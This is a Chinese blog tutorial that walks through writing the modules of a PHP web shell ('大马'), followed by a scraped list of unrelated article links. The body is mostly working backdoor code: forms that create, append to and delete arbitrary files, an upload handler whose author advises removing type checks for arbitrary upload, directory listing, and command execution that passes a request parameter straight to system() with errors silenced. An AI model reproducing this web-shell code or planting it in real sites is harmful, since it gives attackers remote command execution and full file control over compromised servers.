带你走进php大马的结构模块编写之路
本文原创作者:Laimooc
第一部分:前沿综述
本次我主要写了【文件的创建】、【文件的删除】、【文件的上传】、【目录浏览】、【命令执行】小模块,以及【组合的目录浏览和文件删除功能】的模块:

实验环境:
系统环境:winserver 12 r2 datacenter
脚本运行环境:PHP version7.0.24
第二部分:代码编写讲解
【文件创建】
作者是借助form表单值传递,以及使用fopen和fwrite进行创建文件的。
具体的研究过程,我们结合代码来说明:
<form method="" action="">
Filename:<inputtype="text" name="file" value="" />
这里我们是使用input标签,设定name值(这个,我们后面的php脚本中需要使用的,需要记住):

我的代码如下,大家请指导:
File_content:<inputtype="textarea" name="file_content"style="width:300px;" value="" />
这里我们是接受form表单传递你要写的文件内容,有想深入的表格,可以对内容的写入上做出一些编码解码等的操作
<input type="submit" name="submit" value="Create">
这里是提交按钮
</form>
<?php
error_reporting(0);
//这里我们设置了错误等级为0
$filename=$_REQUEST['file'];
//这里接受我们的文件名字
$file_content=$_REQUEST['file_content'];
//这里接受我们的文件内容
$myfile =fopen($filename, "a") ;
//这里打开你事先设定的文件,如果没有会创建一个新的(由写入属性a a+ w w+ r r+ ab ab+等控制)
fwrite($myfile,$file_content);
//这里执行fwrite函数写入内容
fclose($myfile);
//关闭写入的文件
?>

【文件删除】
下面是我们的删除文件代码,依然是借助了form表单,这样主要是为了操作起来方便,不用form表单也可以操作,只是比较麻烦(get或者post请求等)
代码如下:

<form method="" action="">
Filename:<inputtype="text" name="delfile" value="">
<inputtype="submit" name="submit" value="delete">
</form>
form表单的意思同上述我们阐述的意思,不再介绍,不懂的同学,可以下方留言给我,第一时间必回复
<?php
error_reporting(0);
//删除文件
$delfile=$_REQUEST['delfile'];
if(!isset($delfile)){
exit;//判断是否设定了delfile
}
else{
if (!unlink($delfile))
{
echo ("Error delete $delfile");
//如果没有权限等其他原因文件未删除时候的信息
}
else
{
echo ("Deleted $file");
//删除成功的返回
}
}
/*
使用方法:finame中输入1.txt 表示当前文件夹下的文件,可以输入指定文件夹中的文件如:/upload/1.txt ,即可。
删除成功的话:返回Deleted fiel 失败的话返回ErrorDelete。。。
*/
?>

【文件上传】
文件的上传,这个是大家应该比较多见的了,文件类型的限制啦、存储等(如果作大马的话,当然是任意文件上传啦),不再详细的解释直接展示一下代码,如果大家有什么不懂之处也可以在下方留言给我:


代码如下:
<form action="" method="post" enctype="multipart/form-data" />
<label for="userfile">Upload file</label>
<input type="file" name="file" id="file"/>
<input type="submit" value="send file"/>
</form> <?php
error_reporting(0);
//设置允许上传的mime类型,直接删除下面一段代码的话,则是任意文件上传
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "text/plain")
|| ($_FILES["file"]["type"] == "application/octet-stream")))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";//获取文件名称
echo "Type: " . $_FILES["file"]["type"] . "<br />"; //获取文件类型
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";//获取文件大小
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";//文件上传时的暂存目录
//判断文件是否已经存在
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
//从缓存目录move文件到要上传的目录
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
}
else
{
exit;
}
?>
【目录浏览】
文件的浏览,我还没有仔细的研究,有深入研究的朋友,可以在下方回复代码哇,一起进(fei)步(sheng),我的代码比较垃圾:我直接指定了要遍历的文件目录,在编写的过程中,我发现如果目录不存在的话,会直接浏览器占用资源崩溃!!!

<?php
error_reporting(0);
header("Content-type:text/html; charset=utf8");
//读取指定目录 upload
$current_dir='upload';
$dir =opendir($current_dir);
echo '本文件:',dirname(__FILE__),'\\',basename(__FILE__),'<br/>';
//echo '当前文件:',__FILE__ ,'<br/>' ;
while(false !==($file = readdir($dir))){
if($file != "." &&$file !=".."){
echo"<li>$file</li>";
}
}
closedir($dir);
?>
此外,参考了别人的dir()函数和getcwd(),觉得挺不错的,可以结合使用,大家可以改造一下。
<?php
$d =dir(getcwd());
echo "Handle:" . $d->handle . "<br>";
echo "Path:" . $d->path . "<br>";
while (($file =$d->read()) !== false){
echo "filename: " . $file ."<br>";
}
$d->close();
?>
【命令执行】
命令执行,这是一个好玩的东西,php给了我们一些直接可以执行系统命令的函数: exec()、passthru()、system()、 shell_exec() 还有一个神奇的:反引号。
反引号,听起来尬不?
我的研究是使用system进行执行命令的,然后结合form表单进行值传递,主要还是为了表单的美观:

代码如下:
<form method="" action="">
Command:<input type="text"name="exec" value="">
<input type="submit"name="submit" value="exec">
</form> <?php
error_reporting(0);
$exec = $_REQUEST['exec']; //接收form表单传递过来的命令
system($exec);//可以替换为其他的执行函数
?>
【组合的目录浏览和文件删除功能】
本小节是为了抛砖引玉,整体的变幻构造组合等,需要大家共同努力,直接展示一下代码:
代码如下:
<?php
error_reporting(0);
header("Content-type: text/html; charset=utf8");
//读取指定目录 upload
$current_dir ='upload';
$dir = opendir($current_dir);
echo '本文件:',dirname(__FILE__) ,'\\',basename(__FILE__),'<br/>';
//echo '当前文件:',__FILE__ ,'<br/>' ; while(false !== ($file = readdir($dir))){
if($file != "." && $file !=".."){
echo "<li>$file</li>";
}
}
closedir($dir);
?> <form method="" action="">
Filename:<input type="text" name="delfile" value="">
<input type="submit" name="submit" value="delete">
</form> <?php
//删除文件
$delfile=$_REQUEST['delfile'];
if(!isset($delfile)){
exit;
}
else{
if (!unlink($delfile))
{
echo ("Error deleting $delfile");
}
else
{
echo ("Deleted $file");
} }
?>
第三部分:文章总结

本次研究是继双十一之夜,睡不着觉,就来发了一篇文章,希望得到大家的指导,路过请留言,一带一路。
附件回原文下载<<<<<<<<
>>>>>>黑客入门必备技能 带你入坑,和逗比表哥们一起聊聊黑客的事儿,他们说高精尖的技术比农药都好玩!
带你走进php大马的结构模块编写之路的更多相关文章
- MYSQL(基本篇)——一篇文章带你走进MYSQL的奇妙世界
MYSQL(基本篇)--一篇文章带你走进MYSQL的奇妙世界 MYSQL算是我们程序员必不可少的一份求职工具了 无论在什么岗位,我们都可以看到应聘要求上所书写的"精通MYSQL等数据库及优化 ...
- 小丁带你走进git的世界三-撤销修改
一.撤销指令 git checkout还原工作区的功能 git reset 还原暂存区的功能 git clean 还没有被添加进暂存区的文件也就是git还没有跟踪的文件可以使用这个命令清除他们 g ...
- 小丁带你走进git的世界二-工作区暂存区分支
小丁带你走进git的世界二-工作区暂存区分支 一.Git基本工作流程 1.初始化一个仓库 git init git clone git仓库分为两种情况: 第一种是在现有项目或目录下导入所有文件到 ...
- 带你走进rsync的世界
导读 Rsync(remote synchronize)是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件,也可以使用 Rsync 同步本地硬盘中的不同目录.rsync共有3种使用方 ...
- 小丁带你走进git的世界三-撤销修改(转)
一.撤销指令 git checkout还原工作区的功能 git reset 还原暂存区的功能 git clean 还没有被添加进暂存区的文件也就是git还没有跟踪的文件可以使用这个命令清除他们 g ...
- Miox带你走进动态路由的世界——51信用卡前端团队
写在前面: 有的时候再做大型项目的时候,确实会被复杂的路由逻辑所烦恼,会经常遇到权限问题,路由跳转回退逻辑问题.这几天在网上看到了51信用卡团队开源了一个Miox,可以有效的解决这些痛点,于是乎我就做 ...
- 《ASP.NET Core项目开发实战入门》带你走进ASP.NET Core开发
<ASP.NET Core项目开发实战入门>从基础到实际项目开发部署带你走进ASP.NET Core开发. ASP.NET Core项目开发实战入门是基于ASP.NET Core 3.1 ...
- 小丁带你走进git世界一-git简单配置
小丁带你走进git世界一-git简单配置 1.github的简单配置 配置提交代码的信息,例如是谁提交的代码之类的. git config –global user.name BattleHeaer ...
- 老司机带你走进Core Animation
为什么时隔这么久我又回来了呢? 回来圈粉. 开玩笑的,前段时间ipv6被拒啊,超级悲剧的,前后弄了好久,然后需求啊什么的又超多,所以写好的东西也没有时间整理.不过既然我现在回来了,那么这将是一个井喷的 ...
随机推荐
- Java数据结构和算法(一)线性结构之单链表
Java数据结构和算法(一)线性结构之单链表 prev current next -------------- -------------- -------------- | value | next ...
- maven 编译的时候总是报一些奇怪的错误 比如 surefire-boot 2.10 .jar 可是私服里查看本来就没有这个高的版本。
或者私服总是 报 read time out , 或者 io 错误, 或者 gzip 解压错误,或者总是尝试下载一些高版本的jar , 而这些jar 可能是不存在的 .. 尝试 重新下载 apac ...
- JAVA对字符串的压缩与解压缩
import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException; ...
- 在用easyui中做CRUD功能时,当删除一行或多行数据后再点击修改会提示你选中了多行,如何解决这个bug了?
在用easyui中做CRUD功能时,当删除一行或多行数据后再点击修改会提示你选中了多行,如何解决这个bug了? 在删除成功后,加上这句话就可以了:$("#dg").datagrid ...
- 《C++ Primer (V4)》读书笔记
第2章 变量和基本类型 1.(P56)如果使用class关键字来定义类,那么定义在第一个访问标号前的任何成员都隐式指定为private:如果使用struct关键字,那么这些成员都是public. 第7 ...
- C语言之接收方向键指令让屏幕上的输出能移动
首先,需要了解一下控制台坐标 #include <stdio.h> #include <stdlib.h> #include <conio.h> main() { ...
- IntelliJ IDEA 2017版 编译器使用学习笔记(二) (图文详尽版);IDE快捷键使用
补充介绍IntellJ 介绍主菜单功能及相关用途: File -------------> 对文件进行操作 Edit ------------> 对文本进行操作 View -------- ...
- 字符串转换成NSDate类型的 为nil解决方法
方法一 通过下列函数来解决 但是得到的日期会改变 修改方法fix - (NSDate *)timeForString:(NSString *)string { NSMut ...
- c# richTextBox判断是否为图片文件
//图片 if (richText.Rtf.IndexOf(@"{\pict\") > -1)//条件成立为图片(richText为一个richTextBox的实例名称)
- POJ3273 Monthly Expense 2017-05-11 18:02 30人阅读 评论(0) 收藏
Monthly Expense Time Limit: 2000MS Memory Limit: 65536K Total Submissions: 25959 Accepted: 10021 ...